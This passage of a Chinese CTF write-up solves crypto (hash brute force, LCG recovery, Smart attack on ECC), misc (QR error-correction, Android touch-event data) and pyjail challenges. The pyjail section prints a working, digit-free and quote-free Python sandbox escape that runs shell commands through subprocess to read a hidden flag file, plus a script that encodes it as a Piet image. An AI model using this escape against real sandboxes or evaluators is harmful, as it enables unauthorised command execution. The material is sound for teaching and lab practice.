# m = 7130439814057451234696247122305048644202598144746601748665076344000520993838994849981649677551078703340949187618841443937432281814692809718805154174269031800605279019483413655729833242740605
|
关于bytes_to_long函数,可以理解为
把bytes类型的数据,每字节转成两位16进制数
然后把整个16进制数组作为整体,转成数字
那么反过来也一样
1
2
3
4
5
6
7
8
|
from Crypto.Util.number import long_to_bytes
import libnum
m = 7130439814057451234696247122305048644202598144746601748665076344000520993838994849981649677551078703340949187618841443937432281814692809718805154174269031800605279019483413655729833242740605
print(long_to_bytes(m))
print(libnum.n2s(m))
print(bytes.fromhex(hex(m)[2:]))
|
这三个方式是等效的
[WEEK2]哈希猫
我翻开 task.py 一查,这题目没有 flag 歪歪斜斜的每页上都写着 ‘哈希算法’ 几个字.我横竖睡不着,仔细看了半夜,才从字缝里看出字来,满本都写着 ‘flag’ !
这题是动态附件,有3000份flag不一样的附件,用于抓包哪些和别人py flag的
每个附件的每行的分段以及函数都是随机的
增加了写一个 把每个人附件都能解出来的脚本
的代价
不过为了减少计算的工作量,只有md5和sha1是需要爆破3位的
其他的hash算法都是两位长度
给出我的一把梭脚本,不过可能不够优雅,没空优化了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
|
import hashlib
import itertools
import string
import tqdm
hashs = """# d4dba6e5ced10525239fe1d15300b470be594cfeca9eced98bb36887516044a4a2e92b41968139689a4491002c3daaab7bd317adb26c568a90174295e6452ead
# 09ef651aaecdc89ad0a7be2ffc3cafcc
# aa1e3c55ba668a5302b701bc512a0a763e118e5007250c4a3611635415b0a6ca
# aa650bd117140cc15a913f29c3d1a6bb1274339e04c2ff4b7e0d6f41
# c15e158aea01c3545ecd19f1850bd8471f28c07f
# ff5a1ae012afa5d4c889c50ad427aaf545d31a4fac04ffc1c4d03d403ba4250a
# e0cbd66d037c8eed49b363c83c8cc150
# d94061acc94d0a384514997bf06e0406b3fdd0a9a8bcea31ad3c562f1d97c6aa4aa22c8e22444d3c6843d0452196636120e7e5ceade81db9ff1e7b01860b40d7
# 95a643e631efd3bb1ca6447862751ce2d28d6eaf06c93eda1467de18d8421f1d140b49d989790c04ac2a9d54557ad4d5505de1104288cf9f2c91954e2edf92a5
# dc0560dc9735239b507249b22fb4929fed016c2bb4b226c1bf8773ae5c194f21d3470e79ea09b8b98bf3a49d8c5d3a11
# f307e749718564134003aac7cb609088c2dd38cdea02a18126646f5c13d77faddacb57cb210ccecca23dfcc5392293d883c523b690a697e931c8334837fe0a67
# fdf8b06f67b877a90d2734497a1b3406c8287c0b626b0dcee1959c94
# 811786ad1ae74adfdd20dd0372abaaebc6246e343aebd01da0bfc4c02bf0106c
# f9d04b2b812e7781efb54104bf7e33ca5df887df
# a4e32fe4402666f187ba946fcc166ecbcb5c16bddf1ff05806af75fc36678244
# 6c6df310b616015805c96e70363372b8817e3a64efa0b383fb4b09571f9d7582053ed100543d8591eac04a5d784244f9
# 456d0ef673c9975197784ab352c2d9a9801185cdec3b1c449482b13d4b5bc9220735b37747fee9feaebbc5d1c3286fd0
# 912fa287fa4f33484f8be9733a7498395a0437a4f222cb8ecb105c1762270700e02c675ba5b64c6c13dff5604eedf38ce3a12dfa32c74318464b789109c602e3
# cdbd07fb9759db569cc30c7c1672880170b54099
""".replace('# ','').split()
def hashDigest(hash_algo, string):
hash_func = hash_map.get(hash_algo)
if hash_func:
return hash_func(string.encode()).hexdigest()
else:
raise ValueError('Invalid hash algorithm')
hash_map = {
'md5': hashlib.md5,
'sha1': hashlib.sha1,
'sha224': hashlib.sha224,
'sha256': hashlib.sha256,
'sha384': hashlib.sha384,
'sha512': hashlib.sha512,
}
flag = ""
for hash in tqdm.tqdm(hashs):
solved = 0
for x in itertools.product(string.printable, repeat=2):
for type in list(hash_map.keys()):
if hashDigest(type, "".join(x)) == hash:
flag += "".join(x)
solved = 1
break
if solved == 1:
break
if solved == 1:
continue
for x in itertools.product(string.printable, repeat=3):
for type in list(hash_map.keys()):
if hashDigest(type, "".join(x)) == hash:
flag += "".join(x)
solved = 1
break
if solved == 1:
break
if solved == 1:
continue
for x in itertools.product(string.printable, repeat=1):
for type in list(hash_map.keys()):
if hashDigest(type, "".join(x)) == hash:
flag += "".join(x)
solved = 1
break
if solved == 1:
break
print(flag)
print(f"flag{{{flag}}}")
|
[WEEK3]ECC
先LCG恢复A,B,p
$$
A = ((S_n-S_{n-1})\div(S_{n-1}-S_{n-2}))\ mod\ N\
B = (S_n - A \times S_{n-1})\ mod \ N
$$
先求A,B
然后
$$
S_{n-3} = ((S_{n-2}-B) \div A)\ mod \ N
$$
反推rounds-3
轮就可以得到p
1
2
3
4
5
6
7
8
9
10
11
12
13
|
N = 1592666040773288237864960405116272477285413902052528659895355898525096633482218848317798659
hint = [1394593694312257895786772657718236632208180081954584278582726499587495471046605157854010244, 957352598346966110459998186901601582694524293959852393538910343072839464237771546151573955, 693812013080850001623907916411861671437064059415845429735416503191943824861563095835885411]
rounds = 483
MMI = lambda A, n,s=1,t=0,N=0: (n < 2 and t%N or MMI(n, A%n, t, s-A//n*t, N or n),-1)[n<1] #逆元计算
A=(hint[2]-hint[1])* MMI((hint[1]-hint[0]),N) % N
ani=MMI(A,N)
B=(hint[1]-A*hint[0])%N
seed = (ani*(hint[0]-B))%N
for i in range(rounds-3):
seed = (ani*(seed-B))%N
p = seed
print(p,A,B)
|
拿到p,发现 E.order()==p
椭圆曲线的阶和p相等
Smart Attack
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
# sage
from Crypto.Util.number import long_to_bytes
N = 1592666040773288237864960405116272477285413902052528659895355898525096633482218848317798659
hint = [1394593694312257895786772657718236632208180081954584278582726499587495471046605157854010244, 957352598346966110459998186901601582694524293959852393538910343072839464237771546151573955, 693812013080850001623907916411861671437064059415845429735416503191943824861563095835885411]
rounds = 483
MMI = lambda A, n,s=1,t=0,N=0: (n < 2 and t%N or MMI(n, A%n, t, s-A//n*t, N or n),-1)[n<1] #逆元计算
A=(hint[2]-hint[1])* MMI((hint[1]-hint[0]),N) % N
ani=MMI(A,N)
B=(hint[1]-A*hint[0])%N
seed = (ani*(hint[0]-B))%N
for i in range(rounds-3):
seed = (ani*(seed-B))%N
p = seed
print(p,A,B)
E = EllipticCurve(GF(p),[A,B])
P = E(22848890707179000954203658007030229334930230033288546935111873538205494755744 , 15625318813860427793184320591571256965351190504127303241852375250972299079519 )
Q = E(47068429748309827354877617860222778745533747650312830303181668257713524033902 , 54803159468735797341287321575486297217260035098908326234825325428617201791330 )
def SmartAttack(P,Q,p):
E = P.curve()
Eqp = EllipticCurve(Qp(p, 2), [ ZZ(t) + randint(0,p)*p for t in E.a_invariants() ])
P_Qps = Eqp.lift_x(ZZ(P.xy()[0]), all=True)
for P_Qp in P_Qps:
if GF(p)(P_Qp.xy()[1]) == P.xy()[1]:
break
Q_Qps = Eqp.lift_x(ZZ(Q.xy()[0]), all=True)
for Q_Qp in Q_Qps:
if GF(p)(Q_Qp.xy()[1]) == Q.xy()[1]:
break
p_times_P = p*P_Qp
p_times_Q = p*Q_Qp
x_P,y_P = p_times_P.xy()
x_Q,y_Q = p_times_Q.xy()
phi_P = -(x_P/y_P)
phi_Q = -(x_Q/y_Q)
k = phi_Q/phi_P
return ZZ(k)
r = SmartAttack(P, Q, p)
print(r)
print(long_to_bytes(int(r)))
# b'flag{7h4t5_E4SY3sT_ecc_E4s5G8}'
|
misc
[WEEK2]远在天边近在眼前
运行容器得到一个很多层文件夹的压缩包
这题的flag确实就是倒序的文件夹名称,但是flag里面有?
不过如果你用Windows解压的话,由于Windows的文件名不能有?
会导致?
被替换成下划线
不过可以用Linux的unzip命令
或者直接在压缩包里面读
或者strings
命令
或者010editor
,或者记事本
这题的方法太多了(
这里给一个最省事的方法
用脚本读:
1
|
print(__import__('zipfile').ZipFile('find_me.zip', 'r') .infolist()[-1].filename.replace('/', '')[::-1])
|
[WEEK3]尓纬玛
15解
恏渏怪哋②惟犸,芣確萣,侢看看,還湜恏渏怪
hint:no steganography
这个题,参考了2022菜狗杯
的迅疾响应
其实就是考了纠错块的数据
直接扫码发现是扫不出来的
用QRazyBox的Extract QR Information
功能
可以得到这些
1
|
Do you want flag? You don't,I want.So I just can give you a half of flag. Y0ur flag is flag{QRc0de_h4s_many_kindS_of_secrets
|
来细讲下原理
我在出题的时候,生成了两个二维码,把只有半个flag的二维码的纠错区覆盖到数据块有完整flag的二维码上了
qrazybox的Extract QR Information
功能优先读纠错区
所以会导致只能读到半个flag,是纠错码中的数据
如果涂掉这些错误数据,再次解压数据会从剩下的纠错区以及数据块读取数据
也就是读到完整的flag
把左侧纠错码区域涂白
再次Extract QR Information
1
|
Do you want flag? You don't,I want.So I just can give you a half of flag. Y0ur flag is flag{QRc0de_h4s_many_kindS_of_secrets_N0W_Y0u_KNow_I_BddBBl}
|
1
|
flag{QRc0de_h4s_many_kindS_of_secrets_N0W_Y0u_KNow_I_BddBBl}
|
(希望我讲完原理,不会出现一堆同类题)
[WEEK3]pietyjail
1解(真的有这么难吗?
hint:
You need to upload the file in ppm format
本题使用web环境,无法像寻常pyjail构造交互式命令执行
请仔细阅读题目源码,有一个blacklist其实没多少作用
ppm是一种图像格式,不只是后缀名 本题所用的npiet解释器 源码
都提示的这么仔细了
其实就是两个考点:无法构造交互环境的pyjail 和 如何画piet
先强调一个东西,piet是一门esolang:深奥的编程语言(esoteric programming language)
这里用的npiet是piet的一个解释器 https://www.bertnase.de/npiet/
npiet is an interpreter for piet programs and takes as input a portable pixmap (a ppm file) and since v0.3a png and gif files too - other formats may follow.
然后再来看pyjail
pyjail
1
|
blocked = list(filter(lambda x: x in string.digits+"+-*/\\\'\"-&^%$#@! ", output))
|
过滤了数字和大部分符号,以及空格
连' "
两种引号都过滤了,但是还有 =[]()
实际上在百度一搜就能看到这篇帖子
https://xz.aliyun.com/t/12647
使用
1
2
3
|
0 -> len([])
2 -> len(list(dict(aa=()))[len([])])
3 -> len(list(dict(aaa=()))[len([])])
|
这个方式构造数字
然后用bytes函数构造字符串,就不用 +
了
1
|
bytes([115, 121, 115, 116, 101, 109]).decode()
|
然后再就是os.system()
无回显的问题了
这里用了subprocess的Popen,再把stdout从PIPE输出出来
就可以用return方法回显了
例如
1
|
__import__('subprocess').Popen(["ls",'/'],stdout=__import__('subprocess').PIPE).communicate()[0]
|
如果你用read之类的方式读过flag的话,会发现里面是
1
|
flag is not in /flag :)
|
所以命令执行才是最好的选择
附一份flag.sh
1
2
3
4
5
6
7
8
|
#!/bin/bash
echo "flag is not in /flag :)" > /flag
echo $GZCTF_FLAG > /fl11ll1laaaggg9g
export GZCTF_FLAG=not_flag
GZCTF_FLAG=not_flag
rm -f /flag.sh
|
exp
1
|
__import__(bytes([len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])])]).decode()).run([bytes([len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])])]).decode()],shell=True,stdout=__import__(bytes([len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])])]).decode()).PIPE).stdout
|
然后再来看另一个问题,piet的图怎么搞
piet
我这里用的是这个项目
https://github.com/sebbeobe/piet_message_generator
不过他只能生成png,而且要python2环境
但npiet只能接受ppm格式的图片
本来是用一个能接受png格式的文件的python实现的解释器来着
但是那个运行的效率太慢了
为了方便选手看回显,我就用npiet的源码重新编译了一个elf的npiet
没想到反而ppm格式成为解题障碍了
我这里用的是pngtopnm ,把png转换成ppm
1
2
3
|
apt-get install netpbm
#安装pngtopnm
pngtopnm piet_code_file.png > exp.ppm
|
gen_exp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
def gen_str(x:str):
out = []
for i in x:
tmp = ord(i)*"a"
out.append(f"len(list(dict({tmp}=()))[len([])])")
# print(out)
return "bytes([" + ",".join(out) + "]).decode()"
cmd = f"[{gen_str('cat /fl11ll1laaaggg9g')}]"
# print(cmd)
exp = f"__import__(bytes([len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])])]).decode()).run({cmd},shell=True,stdout=__import__(bytes([len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])]),len(list(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=()))[len([])])]).decode()).PIPE).stdout"
print(exp)
x = __import__('subprocess').Popen(["python2",'piet_gen.py',exp],stdout=__import__('subprocess').PIPE).communicate()[0]
__import__('subprocess').run(['pngtopnm piet_code_file.png > exp.ppm'],shell=True,stdout=__import__('subprocess').PIPE).stdout
|
(需要Linux python2)
[WEEK3]strange data
hint:
android data
adb shell getevent
https://www.kernel.org/doc/html/v4.14/input/event-codes.html
出题人的话:
这题其实是用的小米平板5Pro 抓包的小米灵感触控笔
还是那句话,搜
拿android 和 数据的第一行
就能搜出来是 /dev/input/event
的数据
关于分析,可以看天权信安的这篇关于catPaw的题目wp,由于时间关系就不细写了,我出的题太多了(19道),wp写不完了
https://mp.weixin.qq.com/s/7qKOvSaKdO9M6xgfTwJssA
如果不急的话可以等过年那段时间,我再详细写(
event code的话参考
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/uapi/linux/input-event-codes.h
大体上的逻辑就是
1
2
|
0003 0000 xxx 为x轴方向绝对坐标
0003 0001 xxx 为y轴方向绝对坐标
|
大部分情况这两个都会成对出现
不过如果只有单个存在的话,说明另一个值没有发生改变,取上次出现的值即可
不过这点实测影响不大
直接画,不区分笔是否落下
就会得到一张如此抽象的图
我故意在真flag上涂抹了很多
所以重要的是分析抬笔落笔的数据
1
2
|
0003 0019 00000000 为落笔
0003 0019 00000001 为抬笔
|
exp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
XY = []
path = open('data','r').readlines()
x_tmp = 0
y_tmp = 0
BTN_TOUCH = True
BTN_TOUCH = False
for index,i in enumerate(path[:-1]):
if i.split()[0] == '0003' and i.split()[1] == '0019'and i.split()[2] == '00000000':
BTN_TOUCH = True
if i.split()[0] == '0003' and i.split()[1] == '0019'and i.split()[2] == '00000001':
BTN_TOUCH = False
if BTN_TOUCH == True:
if i.split()[0] == '0003' and i.split()[1] == '0000':
if path[index+1].split()[0] == '0003' and path[index+1].split()[1] == '0001':
x = int("0x"+i.split()[2],16)
x_tmp = x
y = int("0x"+path[index+1].split()[2],16)
y_tmp = y
XY.append((x//10,y//10))
if i.split()[0] == '0003' and i.split()[1] == '0000':
if path[index+1].split()[0] == '0000' and path[index+1].split()[1] == '0000':
x = int("0x"+i.split()[2],16)
y = y_tmp
XY.append((x//10,y//10))
if i.split()[0] == '0000' and i.split()[1] == '0000':
if path[index+1].split()[0] == '0003' and path[index+1].split()[1] == '0001':
x = x_tmp
y = int("0x"+i.split()[2],16)
# x = reverse(x)
y = reverse(y)
XY.append((x//10,y//10))
from PIL import Image
img = Image.new('RGB', (0x4000//10, 0x5000//10), 'white')
for x,y in XY:
img.putpixel((x-1,y),(0,0,0))
img.putpixel((x+1,y),(0,0,0))
img.putpixel((x,y),(0,0,0))
img.putpixel((x,y-1),(0,0,0))
img.putpixel((x,y+1),(0,0,0))
img.transpose(Image.ROTATE_90).show()
|
1
|
flag{miiii1_sm4rt_p3n_1s_So_Fun!}
|
用PIL画的,不如plt
可以看 未定义师傅的题解
blockchain
[WEEK2]blockchain signin
32 支队伍攻克
题目地址 (nc连接)101.37.81.166 10000
RPC节点 101.37.81.166 10001
水龙头 101.37.81.166 10002
